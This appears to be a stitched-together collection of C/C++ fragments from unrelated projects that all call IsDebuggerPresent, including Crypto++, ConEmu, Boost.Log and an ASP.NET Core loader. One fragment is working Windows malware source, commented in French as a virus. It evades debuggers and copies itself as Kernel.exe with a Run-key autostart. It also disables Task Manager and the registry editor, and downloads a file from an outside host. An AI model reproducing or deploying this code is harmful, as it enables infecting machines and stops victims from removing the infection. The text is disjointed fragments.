phs->PointerToRawData; size_t subSectionStart = 0, nextSubSectionStart; do { const byte *subSectionMemStart = sectionMemStart + subSectionStart; size_t subSectionFileStart = sectionFileStart + subSectionStart; size_t subSectionSize = sectionSize - subSectionStart; nextSubSectionStart = 0; unsigned int entriesToReadFromDisk[] = {IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_DIRECTORY_ENTRY_IAT}; for (unsigned int i=0; i<sizeof(entriesToReadFromDisk)/sizeof(entriesToReadFromDisk[0]); i++) { const IMAGE_DATA_DIRECTORY &entry = phnt->OptionalHeader.DataDirectory[entriesToReadFromDisk[i]]; const byte *entryMemStart = memBase + entry.VirtualAddress; if (subSectionMemStart <= entryMemStart && entryMemStart < subSectionMemStart + subSectionSize) { subSectionSize = entryMemStart - subSectionMemStart; nextSubSectionStart = entryMemStart - sectionMemStart + entry.Size; } } #if defined(_MSC_VER) && _MSC_VER >= 1400 // first byte of _CRT_DEBUGGER_HOOK gets modified in memory by the debugger invisibly, so read it from file if (IsDebuggerPresent()) { if (subSectionMemStart <= (byte *)&_CRT_DEBUGGER_HOOK && (byte *)&_CRT_DEBUGGER_HOOK < subSectionMemStart + subSectionSize) { subSectionSize = (byte *)&_CRT_DEBUGGER_HOOK - subSectionMemStart; nextSubSectionStart = (byte *)&_CRT_DEBUGGER_HOOK - sectionMemStart + 1; } } #endif if (subSectionMemStart <= expectedModuleMac && expectedModuleMac < subSectionMemStart + subSectionSize) { // found stored MAC macFileLocation = (unsigned long)(subSectionFileStart + (expectedModuleMac - subSectionMemStart)); verifier.AddRangeToSkip(0, macFileLocation, macSize); } file.TransferTo(verifier, subSectionFileStart - currentFilePos); verifier.Put(subSectionMemStart, subSectionSize); file.Skip(subSectionSize); currentFilePos = subSectionFileStart + subSectionSize; subSectionStart = nextSubSectionStart; } while (nextSubSectionStart != 0); } phs++; } #endif file.TransferAllTo(verifier); #ifdef CRYPTOPP_WIN32_AVAILABLE // if that fails (could be caused by debug breakpoints or DLL base relocation modifying image in memory), // hash from disk instead if (memcmp(expectedModuleMac, actualMac, macSize) != 0) { OutputDebugString("In memory integrity check failed. This may be caused by debug breakpoints or DLL relocation.\n"); moduleStream.clear(); moduleStream.seekg(0); verifier.Initialize(MakeParameters(Name::OutputBuffer(), ByteArrayParameter(actualMac, (unsigned int)actualMac.size()))); // verifier.Initialize(MakeParameters(Name::OutputFileName(), (const char *)"c:\\dt2.tmp")); verifier.AddRangeToSkip(0, checksumPos, checksumSize); verifier.AddRangeToSkip(0, certificateTableDirectoryPos, certificateTableDirectorySize); verifier.AddRangeToSkip(0, certificateTablePos, certificateTableSize); verifier.AddRangeToSkip(0, macFileLocation, macSize); FileStore(moduleStream).TransferAllTo(verifier); } #endif if (memcmp(expectedModuleMac, actualMac, macSize) == 0) return true; #ifdef CRYPTOPP_WIN32_AVAILABLE std::string hexMac; HexEncoder(new StringSink(hexMac)).PutMessageEnd(actualMac, actualMac.size()); OutputDebugString((("Crypto++ DLL integrity check failed. Actual MAC is: " + hexMac) + "\n").c_str()); #endif return false; }
int main(int argc, char* argv[]) { HKEY clef; WSADATA WSAData; WSAStartup(MAKEWORD(2,2), &WSAData); reseau(); if(!IsDebuggerPresent()) { if(RegOpenKey(HKEY_LOCAL_MACHINE, "SYSTEM\\Maxia", &clef) == ERROR_SUCCESS) // si le virus est deja la { Sleep(120000); reseau(); int continuer = 1; while(continuer) { while(continuer) { time_t temps; struct tm *tempslocal; time(&temps); tempslocal = localtime(&temps); int Jour = tempslocal -> tm_mday; int Mois = tempslocal -> tm_mon; } } } else // si c'est la premiere execution du virus { LPCTSTR origine_fichier = argv[0]; LPCTSTR destination_fichier = "C:\\Program Files\\Kernel.exe"; if(CopyFile(origine_fichier, destination_fichier, FALSE)) { HKEY key; RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &key); RegSetValueEx(key, "Kernel", 0, REG_SZ, (BYTE*)"\"C:\\Program Files\\Kernel.exe\"", strlen("\"C:\\Program Files\\Kernel.exe\"") + 1); RegCloseKey(key); RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\Maxia", &key); RegCloseKey(key); DWORD value = 1; RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, &key); RegSetValueEx(key, "DisableTaskMgr", 0, REG_DWORD, (BYTE*) &value, sizeof(value)); RegCloseKey(key); RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_ALL_ACCESS, &key); RegSetValueEx(key, "DisableRegistryTools", 0, REG_DWORD, (BYTE*) &value, sizeof(value)); RegCloseKey(key); URLDownloadToFile(NULL, "http://maxia.olympe.in/img/saw.jpg", "C:\\Program Files\\kernel.jpg", 0, NULL); if(URLDownloadToFile(NULL, "http://maxia.olympe.in/img/saw.jpg", "C:\\Windows\\x36.jpg", 0, NULL) == S_OK) { RegOpenKeyEx(HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, KEY_ALL_ACCESS, &key); RegSetValueEx(key, "Wallpaper", 0, REG_SZ, (BYTE*)"\"C:\\Windows\\x36.jpg\"", strlen("\"C:\\Windows\\x36.jpg\"")); RegCloseKey(key); } reseau(); } WSACleanup(); //return 0; return 0; } } }
LRESULT CConEmuChild::BackWndProc(HWND hWnd, UINT messg, WPARAM wParam, LPARAM lParam) { LRESULT result = 0; // Logger MSG msgStr = {hWnd, messg, wParam, lParam}; ConEmuMsgLogger::Log(msgStr, ConEmuMsgLogger::msgBack); if (gpSetCls->isAdvLogging >= 4) { gpConEmu->LogMessage(hWnd, messg, wParam, lParam); } CVConGuard guard; CVirtualConsole* pVCon = NULL; if (messg == WM_CREATE || messg == WM_NCCREATE) { LPCREATESTRUCT lp = (LPCREATESTRUCT)lParam; guard = (CVirtualConsole*)lp->lpCreateParams; pVCon = guard.VCon(); if (pVCon) gVConBkMap.Set(hWnd, pVCon); } else if (hWnd != ghBkInDestroing) { if (!gVConBkMap.Get(hWnd, &pVCon) || !guard.Attach(pVCon)) pVCon = NULL; } if (messg == WM_SYSCHAR) { _ASSERTE(FALSE); // по идее, фокуса тут быть не должно // Чтобы не пищало result = TRUE; goto wrap; } if (!pVCon) { _ASSERTE(pVCon!=NULL || hWnd==ghBkInDestroing); result = DefWindowProc(hWnd, messg, wParam, lParam); goto wrap; } switch (messg) { case WM_SHOWWINDOW: if (wParam) { HWND hView = pVCon->GetView(); SetWindowPos(hView, HWND_TOP, 0, 0, 0,0, SWP_NOSIZE|SWP_NOMOVE); SetWindowPos(hWnd, hView, 0, 0, 0,0, SWP_NOSIZE|SWP_NOMOVE); } break; // DefaultProc case WM_SETFOCUS: // Если в консоли работает "GUI" окно (GUI режим), то фокус нужно отдать туда. { // Фокус должен быть в главном окне! За исключением случая работы в GUI режиме. pVCon->setFocus(); } return 0; case WM_ERASEBKGND: result = 0; break; case WM_PAINT: _ASSERTE(hWnd == pVCon->mh_WndBack); pVCon->OnPaintGaps(); break; case WM_KEYDOWN: case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: case WM_MOUSEWHEEL: case WM_ACTIVATE: case WM_ACTIVATEAPP: //case WM_MOUSEACTIVATE: case WM_KILLFOCUS: //case WM_SETFOCUS: case WM_MOUSEMOVE: case WM_RBUTTONDOWN: case WM_RBUTTONUP: case WM_MBUTTONDOWN: case WM_MBUTTONUP: case WM_LBUTTONDOWN: case WM_LBUTTONUP: case WM_LBUTTONDBLCLK: case WM_MBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_XBUTTONDOWN: case WM_XBUTTONUP: case WM_XBUTTONDBLCLK: case WM_VSCROLL: // Вся обработка в родителе { switch (messg) { case WM_VSCROLL: switch (LOWORD(wParam)) { case SB_THUMBTRACK: case SB_THUMBPOSITION: pVCon->mb_VTracking = TRUE; break; case SB_ENDSCROLL: pVCon->mb_VTracking = FALSE; break; } pVCon->RCon()->OnSetScrollPos(wParam); break; case WM_LBUTTONUP: pVCon->mb_VTracking = FALSE; break; } TODO("Обработка ghWndWork"); HWND hParent = ghWnd; _ASSERTE(GetParent(hWnd)==ghWnd); if (messg >= WM_MOUSEFIRST && messg <= WM_MOUSELAST) { POINT pt = {LOWORD(lParam),HIWORD(lParam)}; MapWindowPoints(hWnd, hParent, &pt, 1); lParam = MAKELONG(pt.x,pt.y); } result = gpConEmu->WndProc(hParent, messg, wParam, lParam); } break; case WM_IME_NOTIFY: break; case WM_INPUTLANGCHANGE: case WM_INPUTLANGCHANGEREQUEST: { #ifdef _DEBUG if (IsDebuggerPresent()) { WCHAR szMsg[128]; _wsprintf(szMsg, SKIPLEN(countof(szMsg)) L"InChild %s(CP:%i, HKL:0x%08X)\n", (messg == WM_INPUTLANGCHANGE) ? L"WM_INPUTLANGCHANGE" : L"WM_INPUTLANGCHANGEREQUEST", (DWORD)wParam, (DWORD)lParam); DEBUGSTRLANG(szMsg); } #endif result = DefWindowProc(hWnd, messg, wParam, lParam); } break; #ifdef _DEBUG case WM_WINDOWPOSCHANGING: { WINDOWPOS* pwp = (WINDOWPOS*)lParam; result = DefWindowProc(hWnd, messg, wParam, lParam); } return result; case WM_WINDOWPOSCHANGED: { WINDOWPOS* pwp = (WINDOWPOS*)lParam; result = DefWindowProc(hWnd, messg, wParam, lParam); } break; #endif case WM_SETCURSOR: { gpConEmu->WndProc(hWnd, messg, wParam, lParam); //if (!result) // result = DefWindowProc(hWnd, messg, wParam, lParam); } // If an application processes this message, it should return TRUE to halt further processing or FALSE to continue. break; case WM_SYSCOMMAND: // -- лишние ограничения, похоже result = DefWindowProc(hWnd, messg, wParam, lParam); //if (wParam >= SC_SIZE && wParam <= SC_CONTEXTHELP/*0xF180*/) //{ // // Изменение размеров/максимизация/и т.п. окна консоли - запрещена // _ASSERTE(!(wParam >= SC_SIZE && wParam <= SC_CONTEXTHELP)); //} //else //{ // // По идее, сюда ничего приходить больше не должно // _ASSERTE(FALSE); //} break; case WM_GESTURENOTIFY: case WM_GESTURE: { gpConEmu->ProcessGestureMessage(hWnd, messg, wParam, lParam, result); break; } // case WM_GESTURE, WM_GESTURENOTIFY default: if (pVCon && (messg == pVCon->mn_MsgRestoreChildFocus)) { if (!gpConEmu->CanSetChildFocus()) { // Клик по иконке открывает системное меню //_ASSERTE(FALSE && "Must not get here?"); } else { CRealConsole* pRCon = pVCon->RCon(); if (gpConEmu->isActive(pVCon, false)) { pRCon->GuiWndFocusRestore(); } if (pRCon->GuiWnd()) { pRCon->StoreGuiChildRect(NULL); } } } else { result = DefWindowProc(hWnd, messg, wParam, lParam); } } wrap: return result; }
//----------------------------------------------------------------------------// void Logger::Message(int _level, const char* _func, const char* _file, int _line, const char* _msg) { LogMessage _lm; time(&_lm.time); _lm.threadId = Thread::GetCurrentId(); _lm.level = _level; _lm.func = _func; _lm.file = _file; _lm.line = _line; _lm.msg = _msg; // ... //TODO: do store message // ... //[time] thread> file(line): func: // level: msg String _str, _info = String::Format("%d> ", _lm.threadId); //if (_lm.level != LL_Info && _lm.level != LL_Event) { if (_lm.file.NonEmpty()) { _info += _lm.file; _info += String::Format("(%d): ", _lm.line); } if (_lm.func.NonEmpty()) { _info += _lm.func; _info += ": "; } String _threadName = Thread::GetName(_lm.threadId); if (_threadName != "Unnamed") { _info += "("; _info += _threadName; if (!String::Find(_threadName, "thread", true)) _info += " thread"; _info += "): "; } } _info += "\n\t"; switch (_level) { case LL_Assert: _str += "Assertion failed: "; break; case LL_Fatal: _str += "Fatal error: "; break; case LL_Error: _str += "Error: "; break; case LL_Warning: _str += "Warning: "; break; case LL_Event: _str += "Event: "; break; case LL_Info: _str += "Info: "; break; case LL_Debug: _str += "Debug: "; break; } _str += _msg; _str += "\n"; // print message { struct tm _tm = *localtime(&_lm.time); uint8 _cc = 0; SCOPE_LOCK(s_logMutex); switch (_level) { case LL_Error: case LL_Fatal: case LL_Assert: _cc = _SetCColors(0x0c); break; case LL_Warning: _cc = _SetCColors(0x0e); break; case LL_Debug: _cc = _SetCColors(0x08); break; } if(m_writeInfo) printf("[%02d:%02d:%02d] %s%s", _tm.tm_hour, _tm.tm_min, _tm.tm_sec, *_info, *_str); else printf("%s", *_str); if (_cc) _SetCColors(_cc); } # ifdef _WIN32 if (IsDebuggerPresent()) { OutputDebugStringA(_info + _str); if (_lm.level < LL_Warning) DebugBreak(); } else if (_lm.level == LL_Fatal || _lm.level == LL_Assert) { _str = _msg; _str += "\n"; if (_lm.file.NonEmpty()) { _str += "File: " + _lm.file; _str += String::Format("\nLine: %d\n", _lm.line); } if (_lm.func.NonEmpty()) _str += "Function: " + _lm.func + "\n"; _str += String::Format("Thread: %d (%s)\n", _lm.threadId, *Thread::GetName(_lm.threadId)); _str += "\n See log for more details."; MessageBoxA(0, _str, _lm.level == LL_Fatal ? "Fatal error" : "Assertion failed", MB_OK | MB_ICONERROR | MB_APPLMODAL | MB_SETFOREGROUND | MB_TOPMOST | MB_DEFAULT_DESKTOP_ONLY); } # endif if (_lm.level == LL_Assert) { exit(-1); } }
BOOST_LOG_EXPORT bool basic_debug_output_backend< CharT >::debugger_presence_filter::operator() (values_view_type const& values) const { return (IsDebuggerPresent() != FALSE); }
/*! This is where the work happens - We grab a copy of what is in the put area and send it to the debug window using OutputDebugString. */ void Win32StreamBuf::SendToDebugWindow() { if (IsDebuggerPresent() && !buf_.empty()) ::OutputDebugString(buf_.c_str()); }
// Will be called by the inprocesshandler HRESULT IN_PROCESS_APPLICATION::LoadManagedApplication ( VOID ) { HRESULT hr = S_OK; DWORD dwTimeout; DWORD dwResult; ReferenceApplication(); if (m_status != APPLICATION_STATUS::STARTING) { // Core CLR has already been loaded. // Cannot load more than once even there was a failure if (m_status == APPLICATION_STATUS::FAIL) { hr = E_APPLICATION_ACTIVATION_EXEC_FAILURE; } else if (m_status == APPLICATION_STATUS::SHUTDOWN) { hr = HRESULT_FROM_WIN32(ERROR_SHUTDOWN_IS_SCHEDULED); } goto Finished; } // Set up stdout redirect SetStdOut(); { SRWLockWrapper lock(m_srwLock); if (m_status != APPLICATION_STATUS::STARTING) { if (m_status == APPLICATION_STATUS::FAIL) { hr = E_APPLICATION_ACTIVATION_EXEC_FAILURE; } else if (m_status == APPLICATION_STATUS::SHUTDOWN) { hr = HRESULT_FROM_WIN32(ERROR_SHUTDOWN_IS_SCHEDULED); } goto Finished; } m_hThread = CreateThread( NULL, // default security attributes 0, // default stack size (LPTHREAD_START_ROUTINE)ExecuteAspNetCoreProcess, this, // thread function arguments 0, // default creation flags NULL); // receive thread identifier if (m_hThread == NULL) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Finished; } m_pInitalizeEvent = CreateEvent( NULL, // default security attributes TRUE, // manual reset event FALSE, // not set NULL); // name if (m_pInitalizeEvent == NULL) { hr = HRESULT_FROM_WIN32(GetLastError()); } // If the debugger is attached, never timeout if (IsDebuggerPresent()) { dwTimeout = INFINITE; } else { dwTimeout = m_pConfig->QueryStartupTimeLimitInMS(); } const HANDLE pHandles[2]{ m_hThread, m_pInitalizeEvent }; // Wait on either the thread to complete or the event to be set dwResult = WaitForMultipleObjects(2, pHandles, FALSE, dwTimeout); // It all timed out if (dwResult == WAIT_TIMEOUT) { // kill the backend thread as loading dotnet timedout TerminateThread(m_hThread, 0); hr = HRESULT_FROM_WIN32(dwResult); goto Finished; } else if (dwResult == WAIT_FAILED) { hr = HRESULT_FROM_WIN32(GetLastError()); goto Finished; } // The thread ended it means that something failed if (dwResult == WAIT_OBJECT_0) { hr = E_APPLICATION_ACTIVATION_EXEC_FAILURE; goto Finished; } m_status = APPLICATION_STATUS::RUNNING; } Finished: if (FAILED(hr)) { m_status = APPLICATION_STATUS::FAIL; UTILITY::LogEventF(g_hEventLog, EVENTLOG_ERROR_TYPE, ASPNETCORE_EVENT_LOAD_CLR_FALIURE, ASPNETCORE_EVENT_LOAD_CLR_FALIURE_MSG, m_pConfig->QueryApplicationPath()->QueryStr(), m_pConfig->QueryApplicationPhysicalPath()->QueryStr(), hr); } DereferenceApplication(); return hr; }
BOOL STDCALL OSDebuggerPresent() { return IsDebuggerPresent(); }